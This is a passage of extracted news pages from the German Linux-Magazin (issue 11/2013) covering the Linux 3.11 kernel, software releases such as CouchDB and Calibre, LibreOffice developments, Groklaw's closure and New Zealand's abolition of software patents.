Lizenzen.<br />

Für interessierte Anwender<br />

steht Open Z als virtuelle Appliance,<br />

in Form von Debian-<br />

Paketen sowie als Tarball zum<br />

Download bereit.<br />

n<br />

Das <strong>Web</strong>-basierte ERP-System Open Z mit seinem Ressourcenplan.<br />

Linus feiert 22. <strong>Linux</strong>-Geburtstag<br />

Bei seiner Ankündigung der<br />

Kernelversion 3.11-rc7 am<br />

25. August 2013 erlaubte sich<br />

Linus Torvalds einen Scherz,<br />

der auf den 22. Geburtstag<br />

des <strong>Linux</strong>-Kernels anspielte.<br />

Die Nachricht zur bevorstehenden<br />

Veröffentlichung las<br />

sich seltsam vertraut:<br />

„Hello everybody out there<br />

using <strong>Linux</strong> – I’m doing a<br />

(free) operating system (just a<br />

hobby, even if it’s big and professional)<br />

for 486+ AT clones<br />

and just about anything else<br />

out there under the sun. This<br />

has been brewing since april<br />

1991, and is still not ready. I’d<br />

like any feedback on things<br />

people like/​dislike in <strong>Linux</strong><br />

3.11-rc7.<br />

I originally ported bash(1.08)<br />

and gcc(1.40), but others have<br />

taken over user space and<br />

things still seem to work. This<br />

implies that I’ll get the final<br />

3.11 release within a week,<br />

and I’d like to know what<br />

features most people would<br />

want. Any suggestions are<br />

welcome, but I won’t promise<br />

I’ll implement them :-)“<br />

Natürlich, es handelt sich um<br />

eine leichte Abwandlung der<br />

bekannten E-Mail, die Linus<br />

Torvalds am 25. August 1991<br />

auf „comp.os.minix“ veröffentlichte,<br />

also genau 22<br />

Jahre zuvor. In ihr kündigte<br />

er ein an Minix erinnerndes,<br />

freies Betriebssystem für<br />

386(486)-AT-Klone an. Die E-<br />

Mail wird häufig als Geburtsstunde<br />

von <strong>Linux</strong> betrachtet,<br />

obwohl der Finne bereits etwas<br />

früher mit der Arbeit am<br />

Kernel begann. Die Mail zeigt:<br />

Offenbar sieht auch Linus den<br />

Termin als Geburtstag.<br />

Einen Veröffentlichungstermin<br />

am 12. August 2013 hatte<br />

Linus mit Bedauern verpasst.<br />

In diesem Fall wäre <strong>Linux</strong> 3.11<br />

genau 20 Jahre nach dem Veröffentlichungstermin<br />

von<br />

Windows 3.11 („Windows for<br />

Workgroups“) erschienen.<br />

Dem Ereignis zu Ehren trägt<br />

<strong>Linux</strong> 3.11 den Codenamen<br />

„<strong>Linux</strong> for Workgroups“. n


Aktuell<br />

www.linux-magazin.de News 11/2013<br />

10<br />

Kurznachrichten<br />

Rygel 0.19.5: Ein Mediaserver mit UPnP-Fähigkeiten. Neu: Im Softwarekern<br />

wurde die Farbtiefe für PNGs auf 24 Bit gesetzt. Das Mediaserver-Plugin<br />

weiß seit Neuem, welche DLNA-Profile Rygel unterstützt, diese Information<br />

besaß vorher nur die Media-Engine. Auch der Renderer akzeptiert<br />

nun ein Set von DLNA-Profilen und versteht, anders als bisher, nicht<br />

nur Mime-Types. Das Playbin-Plugin funktioniert mit der Simple Engine,<br />

manuell entfernte Einträge fliegen aus der Item-Remove-Warteschlange.<br />

Lizenz: LGPL [https://​wiki.​gnome.​org/​Rygel]<br />

Upstart 1.10: Init-System, das Jobs und Events verwendet und unter<br />

Ubuntu und Debian zum Einsatz kommt. Neu: In der neuen Version erzeugt<br />

die Komponente Upstart-local-bridge lokale Sockets, auf welche die Jobs<br />

von Upstart anspringen, sobald die Sockets ihnen Namen-Wert-Paare<br />

zusenden. Session-Jobs reagieren hingegen auf Änderungen in der Dconf-<br />

Datenbank. Die Komponente Upstart-dbus-bridge bringt mit »‐‐bus‐name«<br />

einen neuen Schalter mit, der es erlaubt, Bus-Namen-Variablen in einen<br />

Dbus-Event zu integrieren. Anstelle von »SIGHUP« lassen sich inzwischen<br />

auch andere Signale festlegen, die Jobs an den Hauptprozess übergeben.<br />

Lizenz: GPLv2 [https://​launchpad.​net/​upstart]<br />

Calibre 1.0: Eine plattformübergreifende Software zur Ebook-Verwaltung.<br />

Neu: Herausragende Merkmale der neuen Version 1.0 sind die überarbeitete<br />

Präsentation der Buchcover, das beschleunigte Datenbank-Backend,<br />

die Möglichkeit, Word-Dateien in Ebook-Formate zu konvertieren, sowie<br />

die Option, aus Schnittmengen des eigenen Ebook-Bestands virtuellen Bibliotheken<br />

zu erzeugen. Daneben gelingt das Herunterladen von Metadaten<br />

einfacher, bettet Calibre 1.0 Fonts ein, bearbeitet die Inhaltsverzeichnisse<br />

von Ebooks und bringt eine neue Output-Engine für PDF-Dateien mit.<br />

Lizenz: GPLv3 [http://​calibre‐ebook.​com]<br />

Couch DB 1.4.0: NoSQL-Datenbank unter dem Dach der Apache Foundation<br />

Neu: Couch DB bringt das Modul »couch_dbupdates« mit, das Informationen<br />

über Datenbank-Events sammelt. Über das HTTP-API lässt sich<br />

dafür ein GET-Request absetzen. So holt »curl http://127.0.0.1:5984/_db_<br />

updates?feed=continuous« einen kontinuierlichen Feed der Ereignisse.<br />

Für die »_all_docs«-View gibt es nun »_list«-Funktionen, was den Massenexport<br />

von Dokumenten an Tools erleichtert, die eine einfache Formatierung<br />

benötigen. Plugins wie Geo-Couch, Browser-ID, Oauth lädt Couch DB<br />

nun automatisch. Lizenz: Apache-2.0-Lizenz [http://​couchdb.​org]<br />

Neues im Kernel 3.11: Grafik, ARM, Virtualisierung und temporäre Dateien<br />

Auf der Kernel-Mailingliste<br />

kündigte Linus Torvalds die<br />

neue <strong>Linux</strong>-Version 3.11 an,<br />

die anlässlich des 20. Windows-3.11-Geburtstags<br />

den satirischen<br />

Codenamen „<strong>Linux</strong><br />

for Workgroups“ trägt.<br />

Zu den Top-Features im neuen<br />

Kernel gehören Änderungen<br />

im Grafikbereich. Über<br />

den Bootparameter »radeon.<br />

dpm=1« lässt sich das noch<br />

experimentelle dynamische<br />

Powermanagement für die<br />

freien ATI-Treiber aktivieren,<br />

was Strom spart und die Betriebstemperatur<br />

senkt.<br />

Der Nouveau-Treiber unterstützt<br />

nun das Dekodieren von<br />

H.264/​MPEG2-Videos mit Hilfe<br />

des Videoprozessors VP2.<br />

Support für die neuen Sea-Islands-GPUs<br />

von ATI (Radeon<br />

HD 8000) bringt der Kernel<br />

ebenso mit wie einen DRM-<br />

Treiber für R-Car, den ARM<br />

Cortex-A9 Quadcore-SoC von<br />

Renesas. Letzterer soll künftig<br />

vor allem in Infotainment-Systemen<br />

von Autos zum Einsatz<br />

kommen. Für die ARM-64-Architektur<br />

unterstützt Kernel<br />

3.11 nun Virtualisierung mit<br />

Xen und KVM. Die 32- und<br />

64-Bit-Varianten von ARM<br />

kommen dank des virtuellen<br />

Dateisystems Hugetlb-FS mit<br />

Huge Pages und transparenten<br />

Huge Pages zurecht.<br />

Auch temporäre Dateien sollen<br />

sicherer werden. Das »O_<br />

TMPFILE«-Flag erzeugt nichtpermanente<br />

Files, die im<br />

Dateisystem unsichtbar bleiben.<br />

So sollen Dateien ohne<br />

Race Conditions entstehen,<br />

die gleich nach dem Schließen<br />

verschwinden. Ein „Soft-dirty“<br />

genannter Mechanismus erlaubt<br />

es nun, vom Userspace<br />

aus die Pages zu verfolgen,<br />

auf die ein bestimmter Prozess<br />

schreibt.<br />

Der Kernel 3.11 unterstützt<br />

neuerdings zudem LZ4-Kompression<br />

und hat einen vorläufigen<br />

Client-Support für<br />

NFS 4.2 und Labeled NFS mit<br />

Zugriffskontrolle sowie für<br />

das Lustre-Dateisystem. n<br />

Arcavias Core 2013.09 mit mehr Shopping-Komfort<br />

Das Hamburger Unternehmen<br />

Metaways hat sein freies E-<br />

Commerce-Framework Arcavias<br />

in Version 2013.09 freigegeben.<br />

Die neue Release des<br />

Kerns, zur Unterscheidung<br />

von der passenden Typo-3-<br />

Erweiterung Arcavias Core<br />

genannt, bringt den Shopbesuchern<br />

einige neue Komfortfunktionen.<br />

Sie können<br />

sich in der Detailansicht nun<br />

Produktvarianten wie etwa<br />

unterschiedliche Farben und<br />

Größen ansehen. Veränderungen<br />

bei Preisen oder der Verfügbarkeit<br />

der Produkte hebt<br />

die <strong>Web</strong>oberfläche hervor.<br />

Daneben merkt sich das System<br />

bei der Bestellung eingegebene<br />

Lieferadressen in den<br />

Kundeninformationen.<br />

Shopbetreiber können im Warenkorb<br />

nun Obergrenzen für<br />

Bestellmengen und den Wert<br />

einrichten und die dem Kunden<br />

angebotenen Zahlungsarten<br />

steuern. Beispielsweise<br />

lässt sich das Lastschriftverfahren<br />

erst dann freigeben,<br />

wenn der Kunde einige vorhergehende<br />

Bestellungen bezahlt<br />

hat. Dazu kommen auf<br />

der Admin-Oberfläche verschiedene<br />

Text- und Medienarten,<br />

im Code gibt es einen<br />

Controller für Cronjobs.<br />

Auf der <strong>Web</strong>seite [http://​www.​<br />

​arcavias.​com] warten weitere<br />

Informationen. Zudem steht<br />

dort die PHP-Software als<br />

Tarball zum Download bereit,<br />

lizenziert ist sie unter der<br />

LGPLv3. (kki/mhu) n


Aktuell<br />

www.linux-magazin.de Zahlen & Trends 11/2013<br />

12<br />

Zahlen & Trends<br />

Bessere OOXML-Unterstützung für Libre Office 4.2 angekündigt<br />

Die Veröffentlichung von<br />

Libre Office 4.2 steht noch<br />

lange nicht ins Haus, aber<br />

Miklos Vajna, Libre-Office-<br />

Entwickler bei Suse, hat in<br />

einem Blogbeitrag bereits<br />

erste Neuerungen vorgestellt.<br />

Diese betreffen die Kompatibilität<br />

von Dokumenten in<br />

Microsofts DOCX-Format mit<br />

Libre Office Writer. Die Dokumente<br />

lassen sich noch immer<br />

nicht problemlos und originalgetreu<br />

in Libre Office öffnen,<br />

sobald sie aufwändigere Layouts<br />

mitbringen. Auch der Export<br />

solcher Dokument klappt<br />

noch nicht fehlerfrei.<br />

Für frei schwebende Tabellen<br />

demonstriert Vajna in seinem<br />

Blog [http://​vmiklos.​hu/​blog/]<br />

nun deutliche Verbesserungen.<br />

Dazu zeigt er Screenshots<br />

des Originaldokuments<br />

in Microsoft Word 2007 und<br />

dann das Importergebnis in<br />

der aktuellen sowie in der<br />

Vorabversion von Libre Office<br />

4.2. Letztere stellt Floating<br />

Tables deutlich ansehnlicher<br />

dar, ohne aber das Layout zu<br />

zerstören. Auch der Export<br />

solcher Tabellen funktioniert<br />

besser: Nach einem Roundtrip,<br />

also dem Öffnen und<br />

Schließen des Dokuments<br />

in verschiedenen Office-Programmen,<br />

bleibt das Layout<br />

dennoch intakt. In einem weiteren<br />

Bildvergleich demonstriert<br />

Vajna, dass auch der Import<br />

und Export schattierter<br />

Absätze gelingt.<br />

Der Entwickler bittet dann<br />

darum, die neuen Features<br />

zu testen und Bugreports zu<br />

verfassen und weist darauf<br />

hin, dass wohl noch weitere<br />

interessante Features in Libre<br />

Office 4.2 landen werden, das<br />

in der letzten Januarwoche<br />

2014 erscheinen soll. n<br />

Bilder-Quelle: http://vmiklos.hu/blog/<br />

Frei schwebende Tabellen in Microsoft Word 2007 ... ... und die Darstellung in der Entwicklerversion von Libre Office 4.2.<br />

Red Hat verstärkt Open-MP-Board<br />

Die amerikanische Softwareschmiede<br />

Red Hat ist neuerdings<br />

Mitglied des Open MP<br />

Architecture Review Board<br />

(ARB), das für die Multiprocessing-Fähigkeiten<br />

neuer<br />

Hardware die entsprechende<br />

Software standardisieren<br />

möchte. Die Aufgabe des<br />

Board besteht darin, den Standard<br />

für das Multiprocessing-<br />

API (C/​C++ und Fortran) voranzutreiben.<br />

Open MP hilft<br />

Programme über Compiler-Direktiven<br />

und Bibliotheksroutinen<br />

tauglich für den Einsatz<br />

auf Multiprozessor-Systemen<br />

zu machen.<br />

„Als ein gewichtiger Verfechter<br />

von Open MP fühlt sich<br />

Red Hat geehrt, dem Open MP<br />

ARB beizutreten“, schreibt<br />

Mike Werner, Senior Director<br />

für ISV und Developer Ecosystems<br />

bei Red Hat. Die Firma<br />

hat den Standard unter anderem<br />

in ihr aktuelles Hauptprodukt<br />

Red Hat Enterprise <strong>Linux</strong><br />

integriert, das in Version 6.4<br />

auf dem Markt ist.<br />

Auch Michael Wong, CEO von<br />

Open MP, gibt sich erfreut.<br />

Red Hat unterstütze Open<br />

MP bereits länger mit eigenen<br />

GCC-Implementierungen und<br />

sei stark an offenen Standards<br />

interessiert, beschreibt er das<br />

neue Mitglied. Red Hat gehört<br />

nun zu den 14 permanenten<br />

Mitgliedern im ARB. n


Suse-Studie sieht <strong>Linux</strong> weiter auf dem Vormarsch<br />

Nicht zuletzt weil Anwender<br />

und Entscheider endlich die<br />

„irrationalen Ängste“ ablegen<br />

würden, sei <strong>Linux</strong> im Servermarkt<br />

weiter auf dem Vormarsch,<br />

behauptet eine Studie,<br />

die der Distributor Suse<br />

erstellen ließ.<br />

Laut der Untersuchung verwenden<br />

heute vier von fünf<br />

Unternehmen <strong>Linux</strong>, fast<br />

die Hälfte davon setze es<br />

als Hauptbetriebssystem auf<br />

den Firmenservern ein. Jedes<br />

siebte Unternehmen nutze<br />

<strong>Linux</strong> auf einem <strong>Web</strong>server,<br />

aber mehr als 75 Prozent wollen<br />

binnen Jahresfrist einen<br />

Lamp-Server integrieren.<br />

Auf Platz 1 der Liste mit<br />

Mi gra tionsgründen stehen<br />

Themen wie Sicherheit, die<br />

niedrigen TCO (Total Cost<br />

of Ownership), die Hochverfügbarkeit,<br />

aber auch die<br />

Option, den Vendor-Lock-in<br />

eines Herstellers zu vermeiden.<br />

Die Unterstützung durch<br />

eine Community landet in der<br />

Umfrage hingegen auf dem<br />

letzten Platz.<br />

Und auch das sagt die Studie:<br />

Wenn Firmen, die noch Unix<br />

verwenden, mit einer <strong>Linux</strong>-<br />

Migration zögern, geben sie<br />

als Hauptgründe den Mangel<br />

an Vendor-Support, Knowhow<br />

und Sicherheit an. n<br />

Eine Studie von Suse sieht <strong>Linux</strong>-Server auf dem Vormarsch.<br />

Zahlen & Trends 11/2013<br />

Aktuell<br />

www.linux-magazin.de<br />

13<br />

Collabora leistet Libre-Office-Support<br />

Neuer Evergreen<br />

Kubuntu-Support<br />

Ein neuer Geschäftsbereich<br />

des international tätigen IT-<br />

Dienstleisters Collabora macht<br />

sich das Geschäft mit Support<br />

sowie anderen Leistungen<br />

rund um Libre Office zur Aufgabe.<br />

Die neue Division heißt<br />

Collabora Productivity und<br />

verfügt nach eigenen Angaben<br />

weltweit über die meisten<br />

von der Document Foundation<br />

zertifizierten Entwickler<br />

für die freie Bürosuite.<br />

Vice President von Productivity<br />

ist das Office-Urgestein<br />

Michael Meeks, vorher bei<br />

Suse tätig. Er sieht in vielen<br />

Unternehmen einen Trend zur<br />

Libre-Office-Migration, die Lizenzkosten<br />

einspare, ohne zu<br />

Lasten der Produktivität zu<br />

gehen.<br />

Collabora hat für seine Libre-<br />

Office-Dienstleistungen die<br />

Seite [http://​www.​collabora.​com/​<br />

​projects/​libreoffice] eingerichtet.<br />

Auf ihr warten bereits<br />

mehrere Angebote, darunter<br />

Hilfe bei der Libre-Office-<br />

Einführung, Level-3-Support,<br />

Longterm-Support sowie Unterstützung<br />

für heterogene<br />

Umgebungen mit Windows,<br />

Mac und <strong>Linux</strong>. Daneben<br />

bietet das Unternehmen auch<br />

maßgeschneiderte Beratung<br />

und Entwicklung an, sei es<br />

die Konvertierung von Dokumenten<br />

oder die Anpassung<br />

für bestimmte Geräte.<br />

Suse, bereits seit Jahren Anbieter<br />

von Libre-Office-Subskriptionen,<br />

tut sich mit Collabora<br />

als Partner zusammen.<br />

Neue Kunden sowie jene, die<br />

ihre Subskription verlängern,<br />

können sich optional für<br />

Support durch Collabora entscheiden,<br />

langfristig soll der<br />

Support auf den Dienstleister<br />

übergehen. Laut Suse-CEO<br />

Nils Brauckmann möchte sich<br />

das <strong>Linux</strong>-Unternehmen stärker<br />

auf sein Betriebssystem<br />

und die Cloud-Infrastruktur<br />

konzentrieren.<br />

n<br />

Die kommende Release 13.1<br />

von Open Suse soll ein Evergreen<br />

werden und damit über<br />

die üblichen 18 Monaten hinaus<br />

Stabilitäts- und Security-<br />

Updates erhalten. Das hat das<br />

Evergreen-Team der Distribution<br />

mitgeteilt. Planmäßig will<br />

man Version 13.1 mindestens<br />

drei Jahre lang erhalten und<br />

pflegen. Das heißt konkret,<br />

Open Suse 13.1 soll im November<br />

2013 erscheinen und<br />

wird bis November 2016 mit<br />

Patches und Sicherheitsupdates<br />

versorgt.<br />

Das von Suse unabhängig<br />

agierende Evergreen-Team,<br />

das Wolfgang Rosenauer ins<br />

Leben rief, versorgt derzeit<br />

die Open-Suse-Releases 11.2<br />

und 11.4 mit verlängertem<br />

Support bis zum November<br />

2013 respektive 2014. Weitere<br />

Informationen über Evergreen<br />

liefert eine Seite im Open-<br />

Suse-Wiki [http://​en.​opensuse.​<br />

​org/​openSUSE:Evergreen]. n<br />

Für die <strong>Linux</strong>-Distribution<br />

Kubuntu gibt es ab sofort<br />

kommerziellen Support. Das<br />

gab das Projekt in der Ankündigung<br />

[http://​www.​kubuntu.​org/​<br />

​news/​commercial‐support] bekannt.<br />

Die gebührenpflichtige<br />

Unterstützung realisieren die<br />

Entwickler um den Schotten<br />

Jonathan Riddell über ihre<br />

Partner Emerge Open und<br />

With Support, die in England<br />

ansässig sind.<br />

Im Angebot sind eine Unterstützung<br />

per Telefon, Mail,<br />

Skype, Remote-Desktop sowie<br />

über weitere Kanäle nach<br />

Kundenwunsch. Ein Stunde<br />

kostet zirka 95 Euro, ein Acht-<br />

Stunden-Tag rund 590 Euro.<br />

Daneben sind auch monatliche<br />

Supportverträge sowie<br />

Service Level Agreements<br />

(SLA) erhältlich. Der aus<br />

dem kommerziellen Support<br />

gewonnene Profit soll wieder<br />

zurück an das Kubuntu-Projekt<br />

fließen.<br />

n


Aktuell<br />

www.linux-magazin.de Zahlen & Trends 11/2013<br />

14<br />

Blenders Renderengine Cycles wechselt zur Apache-2.0-Lizenz<br />

Die Blender Foundation hat<br />

die Lizenz ihrer Renderengine<br />

Cycles von der GPL in die<br />

Apache-2.0-Lizenz verändert,<br />

die keine Copyleft-Klausel<br />

enthält. Die Nutzer können<br />

den Quellcode also nutzen,<br />

ohne den veränderten Code<br />

zurückgeben zu müssen. Dadurch<br />

lässt sich die Software<br />

in eher restriktiven proprietären<br />

Umgebungen einsetzen,<br />

etwa als In-House-Software in<br />

Studios.<br />

Unabhängig von diesem<br />

Schritt werde das Blender-<br />

Projekt aber auch weiterhin<br />

selbst an der Engine arbeiten,<br />

schreiben Cycles-Entwickler<br />

Brecht van Lommel und Ton<br />

Roosendall von der Blender<br />

Foundation. Sie begründen<br />

den Schritt mit der Hoffnung,<br />

die Raytracing-Engine werde<br />

durch einen Einsatz in kommerziellen<br />

Umgebungen mehr<br />

Unterstützer finden.<br />

Blender unterwerfe sich weiterhin<br />

der GPL, für Bibliotheken<br />

habe es sich aber in<br />

der Vergangenheit als Vorteil<br />

erwiesen, sie unter einer BSDoder<br />

Apache-Lizenz zu veröffentlichen.<br />

Letztere bot sich<br />

Quelle: emirage.org<br />

an, weil schon andere Teile<br />

der Engine unter dieser Lizenz<br />

stünden, aber auch Open Subdiv,<br />

das die Entwickler in die<br />

Renderengine Cycles integrieren<br />

möchten.<br />

n<br />

Blenders Renderengine Cycles kann beeindruckende Grafiken erzeugen.<br />

LSK: Linaro will Longterm-Support-Kernel<br />

Das Linaro-Projekt, das an<br />

besserer <strong>Linux</strong>-Unterstüt zung<br />

für die ARM-Architektur arbeitet,<br />

will künftig eine eigene<br />

stabile Kernelversion pfle gen.<br />

Das schreibt Mark Brown, seit<br />

Kurzem Linaro-Mitarbeiter<br />

und technischer Leiter des Linaro<br />

Stable Kernel (LSK), in<br />

einem Blogeintrag.<br />

Die kommende Linaro-Release<br />

13.09 soll erstmals einen solchen<br />

stabilen Kernel anbieten.<br />

Eine Betaversion des<br />

LSK gab es zudem bereits für<br />

das jüngste Linaro 13.08. Der<br />

LSK soll auf dem Upstream-<br />

Kernel 3.10 beruhen und für<br />

die Linaro-Teilnehmer wichtige<br />

Funktionen integrieren.<br />

Sie sollen von neuen ARM-<br />

Features profitieren und die<br />

Stabilität und Qualität eines<br />

LTS-Kernel erhalten.<br />

Eine eigene Wiki-Seite [https://​<br />

​wiki.​linaro.​org/​LSK] zum stabilen<br />

Linaro-Kernel bietet Interessierten<br />

weitere Informationen<br />

an. Der Kernel wird in zwei<br />

Ausgaben mit den Bezeichnungen<br />

Core und Android zur<br />

Verfügung stehen. n<br />

Investigative <strong>Web</strong>seite Groklaw macht dicht<br />

Die amerikanische <strong>Web</strong>site<br />

Groklaw.net hat die Open-<br />

Source-Community rund zehn<br />

Jahre lang in juristischen Fragen<br />

begleitet. Nun stellte sie<br />

ihre Arbeit ein. Pamela Jones,<br />

juristische Assistentin und<br />

Groklaw-Gründerin, legte<br />

in ihrem vermutlich letzten<br />

Blogeintrag die Gründe dar:<br />

In einem Klima der Überwachung,<br />

wie es das Internet-<br />

Monitoring der amerikanischen<br />

Geheimdienste erzeuge,<br />

sehe sie keine Möglichkeit,<br />

ihre Arbeit weiterzuführen.<br />

Ohne die Vertraulichkeit von<br />

Mails könne sie nicht mit Informanten<br />

und Mitarbeitern<br />

kommunizieren, lautet ihre<br />

verbitterte Schlussfolgerung.<br />

Den Verlust der Vertraulichkeit<br />

und Privatsphäre verglich<br />

sie mit einem Einbruch in ihre<br />

Wohnung, den sie vor Jahren<br />

erlebt hatte.<br />

Mit Groklaw schließt eine<br />

verdienstvolle Seite, die insbesondere<br />

die SCO-Klagewelle<br />

gegen <strong>Linux</strong>-Distributoren<br />

und ‐Anwender kritisch begleitet<br />

hat. Daneben waren<br />

Patente, die Anerkennung von<br />

Microsofts OOXML-Format als<br />

Standard sowie allgemein Urheberrecht<br />

und Lizenzen die<br />

Themen der veröffentlichten<br />

Artikel und geführten Diskussionen.<br />

Für seine Arbeit erhielt das<br />

Projekt im Jahre 2010 die EFF<br />

Pioneer Awards sowie im Jahr<br />

2008 eine ehrende Erwähnung<br />

beim Prix Ars Electronica<br />

und den Award for Projects<br />

of Social Benefit von der Free<br />

Software Foundation (FSF).<br />

Die Library of Congress hat<br />

Groklaw sogar in seine Sammlung<br />

von historisch wertvollen<br />

Internetmaterialien aufgenommen.<br />

Georg Greve, ehemaliger<br />

Präsident der Free Software<br />

Foundation Europe (FSFE)<br />

und nun CEO von Kolab Systems,<br />

kommentiert das Ende<br />

des Internetprojekts in seinem<br />

Blogeintrag [http://​blogs.​fsfe.​org/​<br />

​greve/​?​p=625]. Darin zitiert er<br />

seinen Kollegen Paul Adams<br />

aus dem Kolab-IRC-Channel:<br />

„Ohne Groklaw ist die IT-Welt<br />

ein Stück weniger sicher.“ n


Gnome-Erleuchtung ohne Google<br />

Der <strong>Web</strong>browser des Gnome-<br />

Desktops, Epiphany, wird in<br />

Zukunft Duck Duck Go statt<br />

Google als Standard-Suchmaschine<br />

verwenden. Grund<br />

dafür seien die Anstrengungen<br />

des Gnome-Projekts, die<br />

Privatsphäre der Gnome-Anwender<br />

besser zu schützen,<br />

schreibt Claudio Saavedra, einer<br />

der Maintainer, in einem<br />

Blogeintrag.<br />

Im Unterschied zu Google<br />

sammle [https://​duckduckgo.​<br />

​com] keine Daten über das<br />

Benutzerverhalten. Zudem<br />

sei die kleine Suchmaschine<br />

alltagstauglich und biete zahlreiche<br />

Keywords für spezialisierte<br />

Suchen an, etwa in der<br />

Wikipedia. Im Gegenzug erhält<br />

das Gnome-Projekt über<br />

Saavedras Arbeitgeber Igalia<br />

einen Anteil an den – bescheidenen<br />

– Einnahmen von Duck<br />

Duck Go.<br />

Die Änderung wird erstmals<br />

in Gnome 3.10 auftauchen,<br />

das laut Release-Plan Ende<br />

September erscheinen soll.<br />

Die Partnerschaft soll vorerst<br />

für einen beschränkten Zeitraum<br />

gelten, danach werde<br />

sie erneut evaluiert. Für Anwender,<br />

die bereits eine Suchmaschine<br />

in Epiphany konfiguriert<br />

haben, werde sich<br />

nichts ändern, versichern die<br />

Entwickler. Daneben könne<br />

der Benutzer auch weiterhin<br />

eine Suchmaschine seiner<br />

Wahl einstellen.<br />

n<br />

Neuseeland schafft Softwarepatente ab<br />

Mit 117 gegen vier Stimmen<br />

votierte Neuseelands Parlament<br />

für eine Änderung des<br />

Patentgesetzes, die Softwarepatente<br />

abschafft. Fünf Jahre<br />

lang hatten die Neuseeländer<br />

das Thema debattiert. Im<br />

neuen Paragraphen 10A des<br />

Patentgesetzes steht, dass ein<br />

Computerprogramm keine Erfindung<br />

sei.<br />

Ähnlich wie in der EU lassen<br />

sich Programme in Neuseeland<br />

künftig nur dann schützen,<br />

wenn sie zum Beispiel<br />

Prozesse implementieren, um<br />

eine patentierte Technologie<br />

zu verbessern. Ein Prozess<br />

wäre also patentierbar, wenn<br />

er die geschützte Waschmethode<br />

in einer Waschmaschine<br />

effizienter umsetzt.<br />

Laut Ars Technica gibt es<br />

vielleicht einen gewollten Nebeneffekt:<br />

Indem Neuseeland<br />

Computerprogramme nicht<br />

mehr als Erfindungen bezeichnet,<br />

fallen sie auch nicht<br />

unter das internationale Trips<br />

Agreement (Trade-Related Aspects<br />

of Intellectual Property<br />

Rights) der WTO.<br />

Paul Matthews, Geschäftsführer<br />

des Instituts für IT-<br />

Professionals in Neuseeland,<br />

begrüßte die Entwicklung.<br />

Patenttrolle seien nämlich ein<br />

Problem, kaum noch lasse<br />

sich aktuell eine Software<br />

entwickeln, ohne eines der<br />

zahlreichen Trivialpatente zu<br />

verletzen. Allerdings wirke<br />

die Änderung nicht rückwirkend,<br />

sondern betreffe nur<br />

neu erstellte Anwendungen.<br />

Und noch sei das Gesetz nicht<br />

komplett durch das Parlament<br />

gegangen, was aber bald der<br />

Fall sein werde. Wie aber die<br />

Rechtsprechung die Gesetze<br />

in der Praxis auslegt, muss<br />

sich noch zeigen. n


Aktuell<br />

www.linux-magazin.de Zahlen & Trends 11/2013<br />

16<br />

VMware feiert sich und die Zukunft<br />

Wer die grellen Auftritte von<br />

Steve Jobs oder Steve Ballmer<br />

auf übergroßer Bühne vor einem<br />

enthusiasmierten Publikum<br />

kennt und schätzt, war<br />

Pat Gelsinger ist der CEO von VMware.<br />

Ende August auf VMwares<br />

zehnter Hausmesse, der VMworld<br />

[http://​www.​vmworld.​com]<br />

in San Francisco, richtig.<br />

Begleitet von einer Lasershow,<br />

zeichnete CEO Pat Gelsinger<br />

anlässlich des 15. Geburtstags<br />

von VMware dessen Zukunft<br />

in hoffnungsfrohen Farben.<br />

Das als „Keynote“ zu neutral<br />

angekündigte Tamtam ist<br />

nachvollziehbar, weil das seit<br />

2003 größtenteils zu EMC gehörende<br />

Virtualisierungs- und<br />

Cloud-Unternehmen im Jahr<br />

2012 4,6 Milliarden US-Dollar<br />

mit Hilfe einer halben Million<br />

Kunden erlöste – Tendenz<br />

steigend.<br />

Workstation, das erste relevante<br />

VMware-Produkt im<br />

Jahre 1999, verhalf <strong>Linux</strong><br />

erstmals zu einer Vollvirtualisierung,<br />

2001 schwenkten die<br />

Kalifornier mit dem ESX Server<br />

eher in Richtung Bare Metal.<br />

Als 2008 der Ex-Microsoft-<br />

Manager Paul Maritz das Ruder<br />

übernahm, kamen Bedenken<br />

auf, dass sich VMware in<br />

Richtung Red mond ausrichten<br />

könnte. Die bewahrheiteten<br />

sich in der Folge allerdings<br />

nicht. Vielmehr wird Maritz<br />

das Bonmot zugeschrieben,<br />

in seiner Position bei VMware<br />

könne er nun die technischen<br />

Fehler beheben, die er selbst<br />

mit Windows in den Markt<br />

gebracht habe.<br />

VMware kündigte nun die<br />

nächsten Schritte ins vor einem<br />

Jahr projektierte „Software-Defined<br />

Datacenter“<br />

(SDDC) an: VMware NSX<br />

(ein virtuelles Layer-2-bis-7-<br />

Netzwerk, das im Wesentlichen<br />

aus der Nicira Virtualization<br />

Platform und V-Cloud<br />

Networking und Security<br />

besteht), Virtual SAN (dynamische<br />

Storages für VMs), V-<br />

Cloud Suite 5.5 (um App-HA<br />

und Flashspeicher-Optimierung<br />

erweitertes V-Sphere)<br />

und schließlich V-Sphere mit<br />

Operation Management. n<br />

Tupi: Freies Animationsprogramm sucht Unterstützung<br />

Die Macher des freien 2-D-<br />

Animationsprogramms Tupi<br />

wollen auf Kickstarter 30 000<br />

US-Dollar sammeln. Mit dem<br />

Geld wollen sie Tupi [http://​<br />

​maefloresta.​com/​portal/] um<br />

neue Funktionen erweitern<br />

und Version 1.0 erreichen.<br />

Konkret planen die Entwickler<br />

mehrere Zeichenwerkzeuge<br />

zu überarbeiten und ihre Bedienung<br />

zu vereinfachen. Neu<br />

hinzukommen sollen neben<br />

einem Farbverlaufswerkzeug<br />

auch Sound-, Kamera- und<br />

Maskierungs-Layer. Mit der<br />

Kampagne möchte das Projekt<br />

zudem neue Grafiker und Entwickler<br />

gewinnen.<br />

Tupi ist ein Fork des mittlerweile<br />

eingestellten Ktoon-<br />

Projekts, basiert auf dem Qt-<br />

Toolkit, steht unter der GPLv3<br />

und will neben Anfängern<br />

auch professionelle Zeichner<br />

ansprechen. Installationsfertige<br />

Pakete gibt es derzeit nur<br />

für Ubuntu und OS X. Hat die<br />

Kickstarter-Kampagne Erfolg,<br />

wollen die Entwickler auch<br />

ein Installationspaket für<br />

Windows schnüren. n<br />

Ubuntu Touch 13.10 mit eigenem Audiostack<br />

Bisher nutzte Ubuntu Touch<br />

noch den Audio Flinger von<br />

Android <strong>fürs</strong> Abspielen und<br />

Aufnehmen von Sounds. Im<br />

aktuellen Image kümmern<br />

sich hingegen Pulseaudio und<br />

Alsa um den guten Ton. Der<br />

neue Audiostack für Ubuntu<br />

Touch sei noch in der Anfangsphase<br />

und laufe am besten<br />

auf dem Nexus 4, schreibt<br />

Ubuntu-Entwickler David<br />

Henningsson. Bis auf einen<br />

relevanten Bug sei die Arbeit<br />

für das Galaxy Nexus vorangeschritten,<br />

Nexus-7-Support<br />

soll folgen, für das Nexus 10<br />

suche er noch Tester.<br />

